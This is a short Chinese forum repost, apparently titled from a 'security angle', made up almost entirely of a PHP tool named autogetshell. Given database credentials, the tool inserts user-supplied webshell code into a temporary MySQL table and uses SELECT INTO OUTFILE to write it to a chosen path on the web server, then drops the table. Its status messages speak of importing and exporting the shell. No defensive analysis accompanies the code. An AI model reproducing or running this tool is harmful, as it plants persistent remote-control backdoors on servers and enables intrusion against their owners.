autogetwebshell from secuirty angle

猪猪

来源：网络技术论坛

代码

1. <?php
   
2. 
   
3. if ($step==1){
   
4.     $link = mysql_connect($servername,$dbusername,$dbpassword);
   
5.     if ($link) {
   
6.     echo "<p>数据库服务器连接成功</p>";
   
7.   $mysql_select=mysql_select_db($dbname);
   
8.     if (!$mysql_select) {
   
9.       echo "<p>test create db $dbname</p>";
   
10.       if (mysql_create_db($dbname)) {echo "<p> .....:)</p>";
    
11.     } else {
    
12.         echo "<p>.....:(</p>";}
    
13.       }
    
14. 
    
15. $ctable = " CREATE TABLE a (cmd text NOT NULL)";
    
16. $indata="INSERT INTO a (cmd) VALUES ('".$code."')";
    
17. $outdata="select cmd from a into outfile '".$path."'";
    
18. $dptable= "DROP TABLE IF EXISTS a";
    
19. 
    
20. $res = mysql_query($ctable);
    
21. if ($res) {echo "<p>建立表格....成功</p>";}else{echo "<p>建立表格....失败</p>";}
    
22. 
    
23. $res1 = mysql_query($indata);
    
24. if ($res1) {echo "<p>导入shell代码....成功</p>";} else{echo "<p>导入shell代码....失败</p>";}
    
25. 
    
26. echo $outdata;
    
27. $res2 = mysql_query($outdata);
    
28. if ($res2) {echo "<p>导出shell....成功</p>";} else{echo "<p>导出shell....失败</p>";}
    
29. 
    
30. $res3 = mysql_query($dptable);
    
31. if ($res3) {echo "<p>删除数据....成功</p>";} else{echo "<p>删除数据....成功</p>";}
    
32. 
    
33. } else {
    
34.     echo "<p>数据库服务器连接失败</p>";}
    
35. mysql_close($link);
    
36. 
    
37. //表单填写
    
38. } else{
    
39.     echo "<b>设置数据</b>\n";
    
40. echo "<p><form action=\"autogetshell.php\" method=\"post\"></p>\n";
    
41. echo "<p><input type=\"hidden\" name=\"step\" value=\"1\"></p>\n";
    
42.     echo "<p>服务器地址:<input type=\"text\" value=\"".$servername."\"name=\"servername\"></p>\n";
    
43.     echo "<p>数据库名: <input type=\"text\" value=\"".$dbname."\" name=\"dbname\"></p>\n";
    
44.     echo "<p>数据库用户名: <input type=\"text\" value=\"".$dbusername."\" name=\"dbusername\"></p>\n";
    
45.     echo "<p>数据库用户密码: <input type=\"password\" value=\"\" name=\"dbpassword\"></p>\n";
    
46. echo "<p>导出webshell路径: <input type=\"text\" value=\"".$path."\" name=\"path\"></p>\n";
    
47. echo "<p>=========================================================</P>\n";
    
48. echo "<p>webshell代码: <textarea value=\"".$code."\" name=\"code\" cols=80 rows=10 width=32></textarea></p>\n";
    
49.     echo "<p><input type=\"submit\" name=\"next\" value=\"提交\"></p>\n";
    
50. echo "</form>";
    
51. }
    
52. ?>

复制代码